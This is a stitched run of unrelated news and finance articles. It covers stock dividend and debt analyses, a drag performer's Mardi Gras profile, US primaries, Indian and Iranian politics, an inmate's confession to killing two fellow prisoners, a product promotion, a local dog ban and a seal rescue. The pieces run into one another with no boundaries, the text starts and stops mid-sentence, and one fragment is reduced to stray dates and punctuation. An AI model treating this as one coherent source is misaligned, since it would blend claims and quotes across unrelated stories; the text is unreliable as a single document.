6.0% a year during that period. China Dongxiang (Group)'s dividend has been cut sharply at least once, so it hasn't fallen by 6.0% every year, but this is a decent approximation of the long term change. Story continues When a company's per-share dividend falls we question if this reflects poorly on either external business conditions, or the company's capital allocation decisions. Either way, we find it hard to get excited about a company with a declining dividend. Dividend Growth Potential With a relatively unstable dividend, and a poor history of shrinking dividends, it's even more important to see if EPS are growing. It's good to see China Dongxiang (Group) has been growing its earnings per share at 27% a year over the past five years. Earnings per share have grown rapidly, and the company is retaining a majority of its earnings. We think this is ideal from an investment perspective, if the company is able to reinvest these earnings effectively. Conclusion Dividend investors should always want to know if a) a company's dividends are affordable, b) if there is a track record of consistent payments, and c) if the dividend is capable of growing. First, we like China Dongxiang (Group)'s low dividend payout ratio, although we're a bit concerned that it paid out a substantially higher percentage of its free cash flow. Next, earnings growth has been good, but unfortunately the dividend has been cut at least once in the past. Ultimately, China Dongxiang (Group) comes up short on our dividend analysis. It's not that we think it is a bad company - just that there are likely more appealing dividend prospects out there on this analysis. Now, if you want to look closer, it would be worth checking out our free research on China Dongxiang (Group) management tenure, salary, and performance. If you are a dividend investor, you might also want to look at our curated list of dividend stocks yielding above 3%. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Set to original music, Fluid was written by Shane and American comedian Brad Loekle. For the most part its a one-woman show, with some help from a ballroom dancer in the second half. (Itd be weird doing a ballroom dance by yourself, she says.) Courtney wears Alice McCall jacket, Pucci pants from Parlour X, Miu Miu earrings. Credit:Steven Chee The show acknowledges that, more than ever, people are being flooded with ever-changing and flowing ideas of who we are, what we are and what we might become. This is something we should embrace, says Courtney. We change our clothes every day we change our hairstyles, we change our jobs. Everything is constantly in motion and constantly fluid. But we have this idea that our identities are fixed. When we look at our lives theyre actually a lot more fluid than we think. Courtney, or Shane, doesnt identify as trans but has said that seeing more transgender people represented in the media was liberating and allowed her to explore her own doubts about gender. Shes previously been described as gender fluid, pansexual and polyamorous, although she no longer embraces those labels as she once did. They all work, says Courtney, who prefers to identify as just generally queer these days. Its funny so many of our groups identify so strongly with labels and theyre so important to us. I kind of feel less attached to those labels. She also understands why some people might feel confused, or even confronted, by the politics of queer identification. The acronym LGBTQIA+, which stands for lesbian, gay, bisexual, transgender, queer, intersex, asexual and others, has expanded over the years to the point that some critics deride it as alphabet soup. Even those who are part of the community can be intolerant. I get that LGBTIQA+ is a little cumbersome from a marketing standpoint, says Courtney. But if you find yourself with the time to complain and be confused by a few extra letters, then youre one of the lucky ones. If there are people that get to understand themselves more because of a letter in an acronym, Im all for it. I definitely feel like I occupy masculine and feminine qualities. Courtney casts a sceptical eye over everything, including the rise of cancel culture, a predominantly left-wing phenomenon which argues that anyone who says or does something deemed to be racist, sexist, homophobic or in any way offensive should be called out, shamed and, preferably, silenced. Romance Was Born dress. Credit:Steven Chee Lamenting the state of political discourse while appearing on the ABCs Matter of Fact program last year, she said: The volumes too loud now and everybodys yelling. While history showed that people sometimes need to raise their voices, when you actually sit down opposite someone and have a conversation with them, you get so much further. How, then, does Courtney view the debate over religious freedom that has raged ever since Australians voted to legalise same-sex marriage in 2017? She says its clear that sometimes people, especially older white males, perceive other people gaining rights as a threat to their own. She says religion can be a lost cause because it is, by definition, about faith rather than rational argument. Still, queer people have to make the effort to engage. The way to do that is to get people to picture themselves in other peoples experiences. Thats the only way you can foster that empathy. Rather than yelling aggressively back at the people trying to oppress us, I think the most important thing to do is to share our stories. Another thing you can do, of course, is march. This weekend, Mardi Gras culminates in the annual parade up Oxford Street, which will feature more than 200 floats and 10,000 marchers. For the first time, Courtney will co-host the coverage on SBS with comedians Joel Creasey and Zoe Coombs Marr, and Studio 10 presenter Narelda Jacobs. She had something of a practice run hosting the coverage on Foxtel some years ago. I saw a clip of it the other day, she says. And Im definitely hoping to redeem myself. As a character, Courtney has been on the gay scene for about 20 years. The person behind the facade, Shane, turned 38 last week. He grew up in Brisbane and remembers watching the parade on television as a teenager in the 1990s, huddled up close to the TV so he could quickly switch it off if his parents came downstairs. Shane came to Sydney when he was 18 and attended his first Mardi Gras. I just remember it was such a melting pot of people, he says. It was the first time I really understood what a community was: that there were all these different parts, and we all faced different challenges and struggles. But even then, Shane says he failed to really comprehend about what Mardi Gras was all about. Just like many heterosexual critics over the years, as a young man he gawked at the giant dancing penises, fetish-wear and nudity and wondered: why? Romance Was Born bustier and pants. Credit:Steven Chee I remember thinking: why cant they just be normal? Shane says. Have your parade, but why does it have to be about sex and penises? Because I had shame about all of those things. I realise now that the parades brash display of sexuality liberates the shame its a really radical way to shake people and say theres nothing wrong with sexuality not just homosexuality but sexuality in general. The queer community has given Shane a lot: acceptance, identity, a career and fame. It has taken him to Los Angeles, where he was based for some years until 2018, and now to his new home in London. Love, on the other hand, remains elusive. He is on the rebound at the moment, though eternally optimistic. Its Mardi Gras time, its summer in Sydney, I think this is the perfect time to be single. Maybe Ill find love under a disco ball at the after-party. Incredibly, at 38, Shane is about to attend his first ever wedding, straight or gay his friend Tim is marrying his partner Ben. It is set to be a baptism of fire. They have asked my ex-boyfriend and me to give the best mans speech together, which could be slightly sadistic, he says. Gucci dress. Shane is still adjusting to the relatively new world of same-sex marriage. Its not for everyone many queers still think of it as a conservative and unnecessary institution but its growing on him. Weirdly, seeing all these people get married, I feel like my cold heart has melted a bit, he says. I think theres something really beautiful about marriage. Its a reminder of why events like the Mardi Gras are still so important a celebration of diversity at the same time as the old divisions between straight and gay are knocked down. As well as marriage, this can manifest in small shifts, like the politics of Bondi Beach. I was at North Bondi on Saturday [and] it was surprisingly unlike North Bondi, Shane says. It was all families and those banana umbrella things. I was like, Oh, I remember when this used to be [gay nightclub] ARQ, but with more light." I guess thats the progress we fought for the families are happy occupying the gay beaches now. WASHINGTON When President Trumps national security adviser, Robert C. OBrien, convenes meetings with top National Security Council officials at the White House, he sometimes opens by distributing printouts of Mr. Trumps latest tweets on the subject at hand. The gesture amounts to an implicit challenge for those present. Their job is to find ways of justifying, enacting or explaining Mr. Trumps policy, not to advise the president on what it should be. That is the reverse of what the National Security Council was created to do at the Cold Wars dawn to inform and advise the president on national security decisions. But under Mr. OBrien, the White Houses hostage negotiator when Mr. Trump chose him to succeed John R. Bolton in September, that dynamic has often been turned on its head. Mr. OBrien, a dapper Los Angeles lawyer, convenes more regular and inclusive council meetings than Mr. Bolton. But developing policy is not really Mr. OBriens mission. In the fourth year of his presidency and in his fourth national security adviser, Mr. Trump has finally gotten what he wants a loyalist who enables his ideas instead of challenging them. (JNS)-Former New York State Assemblyman Dov Hikind, a Democrat, was removed by police from an event earlier this week after interrupting and questioning Rep. Rashida Tlaib (D-Mich.) about her past anti-Semitic remarks. The event at Rutgers University in New Jersey, titled "A Global Crisis: Refugees, Migrants and Asylum Seekers-Lessons from the Prophet Muhammad," was organized by the group Muslims4Peace. "Police just ejected me from an event of @Muslims4Peace at @RutgersU which was a fine event until @RashidaTlaib showed up. I challenged her about her antisemitism and spreading of an anti-Jewish blood libel! She had no answer for me. They will never silence us!" tweeted Hikind. As Hikind was being escorted out of the room, some of the other attendees chanted "Rashida!" "I loved what they were saying," Hikind later said on Fox News. "Then Rashida came on at the end as the main speaker," adding that he stood up and asked her about "her anti-Semitism and spreading a blood libel." Hikind was referring to Tlaib retweeting a post by Palestinian official Hanan Ashrawi that featured the unsubstantiated accusation that Israeli Jews killed 8-year-old Palestinian Qais Abu Ramila, who went missing in January before he was discovered dead. Abu Ramila's death was later deemed an accidental drowning. "She literally was involved in a blood libel; she blamed Jews for the murder of this child," Hikind told Fox News. "It was a tragic situation. This child drowned. But a member of the United States Congress, without information, blamed the Jewish people." Hikind said that while Ashrawi apologized for the false claim, Tlaib "never apologized, and the real tragedy is not just that she did not apologize-and I confronted her in her face, asking her to apologize for what she did-the real tragedy is the Democratic Party. "Not one single Democratic member of Congress, no one said anything about this. They're all busy with the president of the United States. That's all they are focused on." ShareBar Comments must be on-topic and civil in tone (with no name calling or personal attacks). Any promotional language or urls will be removed immediately. Your comment may be edited for clarity and length. (JTA)Bernie Sanders has narrowly won the New Hampshire Democratic primary, racking up additional delegates in his quest to become the nations first Jewish president. Sanders, a Vermont senator, was declared the winner late Tuesday with 26% of the vote and more than 90% of precincts reporting. The victory, notched against a crowded field, was a far cry from the decisive win he delivered against Hillary Clinton in New Hampshire in 2016. The victory comes a week after a glitch-filled caucus in Iowa meant that Sanders missed out on becoming the first Jewish candidate to neatly win the inaugural contest of the presidential nomination process. Iowas Democratic Party has not yet declared a winner, but Sanders and Pete Buttigieg, the former mayor of South Bend, Indiana, appear essentially to have tied. Buttigieg finished second in New Hampshire with just under 25% of the vote, followed by Sen. Amy Klobuchar of Minnesota. Each of the three candidates will earn some of the states 24 primary delegates. Sanders claimed a win in Iowa in his victory speech in New Hampshire. The reason we won in New Hampshire tonight and we won last week in Iowa is because of the hard work of so many volunteers, said Sanders, whose supporters are known for their dedication. Let me say tonight that this victory here is the beginning of the end for Donald Trump. An estimated 10,000 Jews live in New Hampshire, a politically diverse state. In 2016, Sanders made Jewish history by becoming the first Jewish candidate to win a state presidential primary. At the time, several New Hampshire voters told the Jewish Telegraphic Agency that they were drawn to Sanders because of his authenticitybut they didnt mention his Jewishness. During this campaign, Sanders has made his Jewish identity more central to his candidacy. In interviews and public statements, he has regularly said that his Jewish values and experiences animate his progressive politics. He has alluded to the fact that he lost family members in the Holocaust, spoken out strongly about anti-Semitism and released a video declaring that he is looking forward to becoming the first Jewish president in the history of this country. Last week, the longtime senator cited being Jewish as one of his two biggest influences along with growing up poor. Sanders has also become more vocal about Israel over time. He supports Israels right to exist and defend itself but is sharply critical of Prime Minister Benjamin Netanyahus conservative policies. He also has adopted a handful of surrogates who have been more critical of Israel. Sanders is not the only Jewish candidate running to unseat President Donald Trump, a Republican. Mike Bloomberg, the billionaire businessman and former New York City mayor, is financing a run for president but entered the race too late to get on the ballot in New Hampshire. Two other candidates on the New Hampshire ballot have one Jewish parent each but do not identify as Jewish. Tom Steyer identifies as an Episcopalian and Michael Bennets mother is a Holocaust survivor. Bennet dropped out Tuesday night after a weak showing in New Hampshire, as did entrepreneur Andrew Yang. The son of a BJP MLA has been booked for allegedly opening fire during a wedding ceremony in Uttar Pradesh's Bulandshahr despite a ban on the practice, police said on Friday. The FIR against Vikas Khaitk, the son of BJP's Khurja MLA Vijendra Singh Khatik, was registered after a video of the incident, purportedly showing Vikas Khaitk firing multiple shots from a gun, surfaced on social media on Thursday. The accused has been booked. An FIR under section 336 of the Indian Penal Code for doing an act endangering life or personal safety of others has been registered against him and investigation taken up, Bulandshahr (Rural) Superintendent of Police Harendra Kumar said. Kumar, who has been tasked with carrying out the probe in the matter, said the investigation would be concluded soon and report submitted after due legal proceedings. Parliament had in 2019 passed the Arms (Amendment) Act which prohibits the use of firearms in celebratory firing, violation of which would attract a fine of Rs 1,00,000 or imprisonment for two years or both. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Paul Buckowski/Times Union ALBANY This week's episode of "New York Now," the award-winning coproduction of WMHT and the Times Union, looks at state Assemblywoman Michaelle Solages' legislation to prevent federal immigration officials from using courthouses as snares for the undocumented. WMHT's Dan Clark also talks with Norman L. Reimer from the National Association of Criminal Defense Lawyers about the facts and fiction surrounding the state's new bail laws. Jonathan Watson, 41, has confessed that he beat two child molesters to death with a cane while behind bars and says his urgent warning to a counselor that he might become violent was ignored A California inmate confessed in a letter to a newspaper that he beat two pedophiles to death with a cane just hours after his urgent warning to a counselor that he might become violent was ignored. Jonathan Watson, 41, confessed in the letter to the Bay Area News Group in Northern California that he clubbed both men in the head on January 16 at the California Substance Abuse Treatment Facility and State Prison in Corcoran. Prisoner David Bobb, 48, died that day. Graham De Luis-Conti, 62, died three days later at a hospital. Both were serving life sentences for aggravated sexual assault of a child under 14. 'We can't comment on an active investigation,' Dana Simas, spokesman for the California Department of Corrections and Rehabilitation, wrote in an email. Watson is serving a life sentence for a 2009 murder conviction. Days before the attack, he said his security classification was changed and he was transferred from a single-person cell to a lower-security dormitory pod at the Central Valley facility. Watson called the switch a 'careless' mistake and said he had protested the decision. The attack took place at the California Substance Abuse Treatment Facility and State Prison in Corcoran, California. The dormitory is pictured here complete with triple-tiered bunk beds. The prison houses more than 5,400 inmates and specializes in substance abuse treatment Watson wrote that six days after he arrived at the prison, a child molester moved into the pod. Watson believed the man began taunting other inmates by watching children's television programming. Watson said in the letter he couldn't sleep that night 'having not done what every instinct told me I should've done right then and there.' Two hours before the attacks the next day, Watson told a prison counselor that he urgently needed to be transferred back to higher-level security 'before I really (expletive) one of these dudes up,' but the counselor 'scoffed and dismissed' him. Watson said he returned to his housing pod. Watson, pictured in a much younger mugshot, said he warned a counselor that he might turn violent 'I was mulling it all over when along came Molester #1 and he put his TV right on PBS Kids again,' he wrote, according to the newspaper chain. 'But this time, someone else said something to the effect of 'Is this guy really going to watch this right in front of us?' and I recall saying, 'I got this.' And I picked up the cane and went to work on him.' Watson said he then left the housing pod to find a guard and turn himself in, but on the way, he saw 'a known child trafficker, and I figured Id just do everybody a favor,' Watson wrote. 'In for a penny, in for a pound.' Watson said he then told a guard, who didn't believe him 'until he looked around the corner and saw the mess Id left in the dorm area,' Watson wrote. Watson is now being held in segregated housing while he is under investigation for the killings. He hasn't been charged yet. 'Being a lifer, I'm in a unique position where I sometimes have access to these people and I have so little to lose,' Watson wrote. 'And trust me, we get it, these people are every parents' worst nightmare.' I write to support the retention of Judge Monique Langhorne as a Judge of the Napa County Superior Court. I have been part of the Napa legal community for 55 years. I came to Napa in 1965 to practice law with an old Napa law firm where I remained as a partner for 13 years. In 1978, I was appointed as a Judge of the Napa Municipal Court by Gov. Jerry Brown to fill the seat vacated by Judge David York. A year later, Gov. Brown appointed me to the Napa Superior Court to replace Judge William Blanckenburg. I had the honor of serving for the next several years with Judge Tom Kongsgaard and, over the next 21 years, I have served with some of the finest judges in California on the Napa bench. In 2000, I retired but have continued to serve as an Assigned Judge in Napa and in other Superior Courts throughout Northern California. Napa County has been blessed with an outstanding bench. It is known throughout California for the excellence of its judges. Judge Monique Langhorne was the unanimous choice of all the Napa judges to serve as a Commissioner in 2006. A Commissioner is a judicial officer. She served with distinction in that position leading to her appointment by Gov. Jerry Brown in 2018 as a judge of the Napa Superior Court. She has ably served in that capacity since then. In my opinion, she carries on the tradition of excellence on the Napa Superior Court bench and deserves to be retained. I urge you to vote for Judge Monique Langhorne as a Judge of the Napa Superior Court. Judge Philip Champlin Napa County Superior Court (Ret.) Amid continuing protests by Muslims over CAA, NRC and NPR in Tamil Nadu, the ruling AIADMK on Friday sought reassure the community, saying it will not allow anything that would harm minorities and charged its arch-rival DMK with trying to create confusion through false propaganda. The K Palaniswami government has also written to the Centre that certain information and documents like Aadhaar should be avoided in the upcoming Census, the party said, in an apparent reference to apprehensions being raised over certain aspects of the National Population Register process. "No injustice will be meted out to any minority brother and sister in Tamil Nadu. The government will not allow any activity against minorities. AIADMK will be a true friend for the Muslim community forever," a party statement said appealing for maintaining communal harmony. The statement by top AIADMK leaders Deputy Chief Minister O Panneerselvam and Chief Minister K Palaniswami comes in the backdrop of latest round of protests here and some other parts of the state against the amended citizenship law, NPR and the national register of citizens. Among others, a massive protest was held here on Wednesday in which thousands of Muslims, including women, took part and urged the state assembly to adopt an anti-CAA resolution in the session that ended on Thursday. Besides, Old Washermenpet in north Chennai has been witnessing protest by Muslims and others over the CAA, NPR and NRC since February 14 and been dubbed as "Chennai's Shaheen Bagh" in the social media. AIADMK Coordinator Panneerselvam and Joint Coordinator Palaniswami in their joint statement said the NPR was formulated during the Congress-led UPA government in 2010, in which the DMK was a key constituent. The government was keen on protecting the country's sovereignty, supporting schemes taken up "as per" court directives and maintaining cordial ties with the Centre and neighbouring states as much as possible for Tamil Nadu's welfare, they said. It has written to the Centre that information like mother tongue, parentage, spouse' birthday and place and documents like Aadhaar and voter ID, besides mobile number "should be avoided" during the 2020 Census, the leaders said. The AIADMK government treading the path laid down by party stalwarts late M G Ramachandran (MGR) and J Jayalalithaa "will determinedly strive to uphold brotherhood and equality that will benefit the minority community," they said. "All, especially the Muslim brothers and sisters should understand that anti-social elements and some political parties which will carry out any heinous activity to come to power are trying to scuttle law and order." Training their guns against their arch-rival, they said "it is condemnable that unable to stomach AIADMK government's growing public support, DMK is trying to instigate and spread a false propaganda to create confusion among Muslims." The DMK is steadfastly opposed to CAA, NPR and NRC and has been staging protests, especially against the amended citizenship act. The party has been targeting the AIADMK, saying but for its support the citizenship amendment bill would not have been passed in the Rajya Sabha. Panneerselvam and Palaniswami maintained that the AIADMK was a "true secular" movement which did not discriminate in the name of religion and treated all as brothers, on the lines of MGR, the party founder, and Jayalalithaa. Ever since the days of Ramachandran, the party has stood by the Muslims as their "protector and friend", the two leaders said and listed out the various welfare measures being implemented for the community. On NRC in Assam, they said it was carried out in accordance with the Supreme Court directions "but is not meant for the entire country." "The Centre has already clarified it is not against minorities, especially Muslims," they said, adding, the Centre has not expanded it to other states beyond Assam. Calling for brotherhood, the two leaders said "false propaganda and mischief" against the government should be ignored and that all should strive for communal harmony. "The minorities should be alert and be careful to those trying to conspire mischievous campaigns for their own selfish interests and maintain calm," they appealed. Palaniswami had in the state assembly on Tuesday accused the DMK of deceiving the people over the CAA and dared it to explain "which minority" community has been affected by the law in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) TEHRAN Iranians voted for a new parliament Friday, with turnout seen as a key measure of support for Irans leadership as sanctions weigh on the economy and U.S. pressure isolates the country diplomatically. The disqualification of more than 7,000 potential candidates, most of them reformists and moderates, raised the possibility of lower-than-usual turnout. Among those disqualified were 90 sitting members of parliament who had wanted to run for re-election. Tensions with the United States could also strengthen hard-liners by reinforcing long-held distrust of the West. A parliament stacked with hard-liners could favor expanding the budget for the Revolutionary Guard Corps, which has been sanctioned by the U.S. It could also tilt public policy debates toward hard-liners who are opposed to engagement with the U.S. Initial results are expected to be announced Saturday. Presidential elections are expected to take place in 2021. The election comes at a time of growing economic hardship for many in Iran. U.S. sanctions have strangled Irans ability to sell its oil abroad, forcing its economy into recession. Also looming over the election is the threat of the new coronavirus. Many voters headed to the polls wearing face masks. Irans leadership and state media have urged people to show up and vote, with some framing it as a religious duty. Supreme Leader Ayatollah Ali Khamenei cast his ballot at a mosque near his Tehran office shortly after polls opened at 8 a.m. Anyone who cares about Irans national interests should participate in the election, he said. Earlier in the week, Khamenei said high voter turnout will thwart plots and plans by the U.S. and supporters of Israel against Iran. After the disqualifications, around 7,000 candidates were left vying for a place in the 290-seat chamber across 208 constituencies. Iranian President Hassan Rouhani, who had initially criticized the disqualification of so many moderate would-be candidates, cast his ballot on Friday and urged the public to stage another victory by voting in large numbers. Our enemies will be disappointed more than before, he said. On the eve of the vote, the Trump administration ratcheted up its campaign of pressure on Iran by imposing sanctions on two senior officials of the Guardian Council, the body of clerics and judges that decides which candidates may run in elections. The U.S. also sanctioned three members of Irans elections supervisory committee, saying all those targeted were responsible for silencing the voice of the Iranian people by rejecting thousands of people from running. U.S. Secretary of State Mike Pompeo criticized the election as a sham and a vote that is not free or fair. Ali Motahari, one of the pro-reform lawmakers who were barred from defending their seats in this election, said the incoming parliament will not be truly representative of the people. Still, he urged people to vote. We should still try to find moderate and clear-headed candidates from the existing ones and vote for them, he said. Nasser Karimi is an Associated Press writer. Meghan Markle once revealed her beauty secrets and go-to make-up buys. (Getty images) Yahoo Lifestyle is committed to finding you the best products at the best prices. We may receive a share from purchases made via links on this page. Pricing and availability are subject to change. Wherever Meghan Markle lives in the world, were pretty confident the royals ability to spark a trend will continue. The 38-year-old duchess is a real style icon and has caused numerous products to sell out over the past few years. We know shes a huge fan of sustainable labels, Canadian brands and French fashion house Givenchy (who designed her 2018 wedding dress). But, what of her go-to beauty brands? The mum-of-ones skin is always glowing and it turns out she has Yves Saint Laurents Touche Eclat concealer to thank. In an interview with Allure in 2014, the then-actress revealed she has a very simple make-up routine, and her absolute go-to at the time was the designer brands top-rated beauty product. Meghan - who has nine-month-old son Archie with husband Prince Harry - prefers the lightweight formula over foundation. Buy it: Yves Saint Laurent Touche Eclat | 17.40 from LookFantastic The Duchess of Sussex said: I am so much more low-key in real life. I don't wear foundation in real life. My routine is very simple I call it the five-minute face. It's just Touche Eclat, curled lashes, mascara, Chap Stick, and a little bit of blush. That is my favourite kind of look. Touche Eclat is a popular go-to as it has multi purposes. Some customers use the product as a concealer to cover dark circles and blemishes, while others will use a different shade as a highlighter or to contour to accentuate their features. Meghan Markle and Prince Harry made their first official public engagement together to Nottingham on December 1, 2017. (Getty images) The product comes in a variety of shades to suit all skin tones, and it is super affordable. Meghans must-have concealer pen usually retails for 27, while special edition designs retail for 31. However, LookFantastic are selling the exact item for a fraction of the price, at 17.80. For those who are looking for slightly more coverage will turn to YSLs top-rated Le Teint Foundation, which will set you back 36. Story continues Meghan used to share her beauty and lifestyle tips on her now closed blog The Tig. However, since becoming a member of the royal family, she has remained tight lipped about the skincare essentials she uses. Point Pleasant Beach police officers are cracking down hard on dog owners for bringing their pets onto the boardwalk, poo or no poo. Officers have handed out more than 40 tickets in three weeks after beefing up patrols amid recurring sightings of dog feces on the mile-long boardwalk, Point Pleasant Beach Mayor Paul M. Kanitra said. Violators face a $150 fine, regardless of whether their dog actually poops, the mayor told NJ Advance Media on Thursday. Its virtually impossible to catch someone in the act, Kanitra said. Dogs are banned from the boardwalk under a longstanding municipal ordinance. Kanitra said the crackdown began about day or two before Point Pleasant Beach police, on Feb. 3, posted a photo of dog feces on the departments Facebook page. Photo courtesy of Point Pleasant Beach Police Department Police warned via the post that extra patrols were being assigned to the boardwalk to actively enforce our ordinance. We share in the publics disgust and outrage that someone would allow this to occur, police said on Facebook. Of the more than 40 tickets issued, Kanitra said only two have been handed out to residents of Point Pleasant Beach. He said he did not know whether officers in some cases are letting off locals with a warning. Point Pleasant Beach police did not respond to a request for comment. Kanitra said that whether or not a dog actually poops is besides the point. A lot of times, when you pick up after a dog, theres still a residue, he said. Kanitra, who took office Jan. 1, said his administration is making a priority of enforcing so-called quality of life ordinances, such as the boardwalk dog ban. He said reports of excrement on the boardwalk had increased over the past year, but that he crackdown seems to be working. We are certainly seeing an improvement, Kanitra said. Kanitra added that he has no objection to dogs. I am a dog lover, he said, adding that he regularly brings his dog - Jetty, a lab retriever, to Maryland Avenue Beach, where dogs are allowed off-season. Thats the right place for them. The boardwalk isnt, he said. Point Pleasant Beach is home to 4,500 and covers 1.4 square miles. Rob Jennings may be reached at rjennings@njadvancemedia.com. Follow him on Twitter @RobJenningsNJ. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. STRATFORD The U.S. Navy awarded Lockheed Martin subsidiary Sikorsky a follow-on contract for $471 million to build six new helicopters for the White House, part of a fleet planned to total 23 aircraft to carry the president and other staff. The VH-92A is derived from the Sikorsky S-92 helicopter design, and will replace VH-3D Sea King and VH-60N White Hawk helicopters currently used for Marine One transport. Half the work will occur at Sikorskys headquarters plant in Stratford, where the company reported having more than 7,600 employees, with the rest of the work occurring mostly at a facility in Coatesville, Pa. Sikorsky has built six VH-92A helicopters to date, five of which have undergone more than 1,000 flight test hours in Maryland. The newest request pushes to in excess of $1 billion the Pentagons commitment for VH-92A helicopters and supporting parts and services. In separate Sikorsky news, the company provided Pentagon officials with a mini air show on Thursday in West Palm Beach, Fla., to demonstrate flight capabilities for three aircraft under development: the SB>1 Defiant and the Raider X, which both feature stacked rotor sets that spin in opposite directions and a rear pusher prop to achieve greater speeds; and the Sikorsky Autonomy Research Aircraft, a prototype Sikorsky is using to test remote piloting and autonomous operating technologies. Textron subsidiary Bell Helicopter is competing with Sikorsky and Boeing to win a design contest for the next generation of vertical lift aircraft envisioned as replacing the Sikorsky Black Hawk and variant models, as well as other types of combat, surveillance and utility helicopters. Any resulting design win could set the manufacturer for decades of steady military contracts as replacement aircraft are fielded by the service branches. According to a Defense News report on Thursday that included video footage of the SB>1 Defiant in flight, the secretary of the U.S. Army told journalists on Thursday that Bell and the Sikorsky-Boeing team are making the decision very difficult for us given the capabilities of SB>1 Defiant and the Bell Valor prototype, which like Bells V-22 Osprey features rotors that lift the aircraft vertically before tilting forward to propel it forward like a turbo-prop airplane. Alex.Soule@scni.com; 203-842-2545; @casoulman . 04.01.2022 - 14.01.2022 09:00 . 17:00 ., , : . - , 2. . 04.01.2022 - 14.01.2022 09:00 . 16:00 ... A seal that managed to navigate its way up through a harbour and into a car park has been released back into the wild. The young pup was found near East Stewart Street in Greenock, Inverclyde, on November 25 last year. He was taken to the Scottish SPCA national wildlife rescue centre at Fishcross in Clackmannanshire, where staff named him Dot-to-Dot. They believe the seal, who was severely underweight, to have been two or three weeks old when discovered. Steven Gray, manager of the centre, said: What made his story so unusual was that he had managed to get up the harbour steps, along the promenade and into the car park. The fact Dot-to-Dot managed to negotiate these obstacles, especially as he was so young and underweight, was incredible. We suspect he became separated from mum, took to the water out of desperation and got swept back in by the current. Its likely that the Dot-to-Dot was exhausted, which is why he came up the harbour stairs and into the dangerous location. This pup is 'seal-y' lucky! He was found in a carpark in Greenock and is now being cared for at our National Wildlife Rescue Centre. Thanks to @GreenockPolice for ensuring the safety of the seal before we arrived. pic.twitter.com/EDpSUcUVFi Scottish SPCA (@ScottishSPCA) November 30, 2019 Since then, the animal welfare charity has taken care of Dot-to-Dot and on Thursday he was released back into the water at Broughty Ferry in Dundee. Mr Gray added: Thankfully, the Greenock police were able to assist and stay with him until we arrived and transported him to our National Wildlife Centre at Fishcross. He has thrived in our care thanks to the hard work and dedication of the staff in the seal unit and were so happy to see him back in the wild where he belongs. Anyone who comes across an injured or potentially orphaned wild animal should contact our animal helpline on 03000 999 999. David Iben put it well when he said, 'Volatility is not a risk we care about. What we care about is avoiding the permanent loss of capital. It's only natural to consider a company's balance sheet when you examine how risky it is, since debt is often involved when a business collapses. Importantly, Oxford Instruments plc (LON:OXIG) does carry debt. But should shareholders be worried about its use of debt? When Is Debt Dangerous? Debt assists a business until the business has trouble paying it off, either with new capital or with free cash flow. Part and parcel of capitalism is the process of 'creative destruction' where failed businesses are mercilessly liquidated by their bankers. However, a more common (but still painful) scenario is that it has to raise new equity capital at a low price, thus permanently diluting shareholders. Of course, the upside of debt is that it often represents cheap capital, especially when it replaces dilution in a company with the ability to reinvest at high rates of return. The first step when considering a company's debt levels is to consider its cash and debt together. See our latest analysis for Oxford Instruments What Is Oxford Instruments's Net Debt? As you can see below, Oxford Instruments had UK27.9m of debt at September 2019, down from UK31.4m a year prior. But it also has UK42.1m in cash to offset that, meaning it has UK14.2m net cash. LSE:OXIG Historical Debt, February 21st 2020 A Look At Oxford Instruments's Liabilities Zooming in on the latest balance sheet data, we can see that Oxford Instruments had liabilities of UK134.5m due within 12 months and liabilities of UK41.3m due beyond that. Offsetting this, it had UK42.1m in cash and UK75.9m in receivables that were due within 12 months. So its liabilities outweigh the sum of its cash and (near-term) receivables by UK57.8m. Of course, Oxford Instruments has a market capitalization of UK923.2m, so these liabilities are probably manageable. However, we do think it is worth keeping an eye on its balance sheet strength, as it may change over time. Despite its noteworthy liabilities, Oxford Instruments boasts net cash, so it's fair to say it does not have a heavy debt load! Story continues Also positive, Oxford Instruments grew its EBIT by 22% in the last year, and that should make it easier to pay down debt, going forward. The balance sheet is clearly the area to focus on when you are analysing debt. But it is future earnings, more than anything, that will determine Oxford Instruments's ability to maintain a healthy balance sheet going forward. So if you're focused on the future you can check out this free report showing analyst profit forecasts. Finally, while the tax-man may adore accounting profits, lenders only accept cold hard cash. Oxford Instruments may have net cash on the balance sheet, but it is still interesting to look at how well the business converts its earnings before interest and tax (EBIT) to free cash flow, because that will influence both its need for, and its capacity to manage debt. During the last three years, Oxford Instruments produced sturdy free cash flow equating to 78% of its EBIT, about what we'd expect. This cold hard cash means it can reduce its debt when it wants to. Summing up While it is always sensible to look at a company's total liabilities, it is very reassuring that Oxford Instruments has UK14.2m in net cash. And it impressed us with free cash flow of UK34m, being 78% of its EBIT. So is Oxford Instruments's debt a risk? It doesn't seem so to us. Another factor that would give us confidence in Oxford Instruments would be if insiders have been buying shares: if you're conscious of that signal too, you can find out instantly by clicking this link. At the end of the day, it's often better to focus on companies that are free from net debt. You can access our special list of such companies (all with a track record of profit growth). It's free. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. By Lambert Strether of Corrente. Politics But what is government itself, but the greatest of all reflections on human nature? James Madison, Federalist 51 They had one weapon left and both knew it: treachery. Frank Herbert, Dune Key dates coming fast now, so I added some counters: Here is a second counter for the Nevada Caucus, which is obviously just around the corner: And for South Carolina, coming soon: And for Super Tuesday: Super Tuesday states: AL, AK, CA, CO, ME, MA, MN, NC, OK, TN, TX, UT, VT, and VA. * * * 2020 For readers who want to play around with the charts, here is a link to alert reader dks project. You can also file bug reports or feature requests using the same contact process as for Plants, below. Thanks but no promises! Still waiting on post-debate national polls. we have one new state poll from NV. As of 2/21/2020, 12:00 PM EST (one-day percentage): And the numbers: These numbers dont reflect the debate results, so Warren may claw her way over the 15% threshold (although theres been a lot of early voting already (one reason early voting is so bad)). I thought Id put together a sampling of Super Tuesday results, with the caveat that most state polls are irregular, small, bad, and a lot of the leads are in the margin of error. But we carry on! (We seem to have only one poll for one or two, 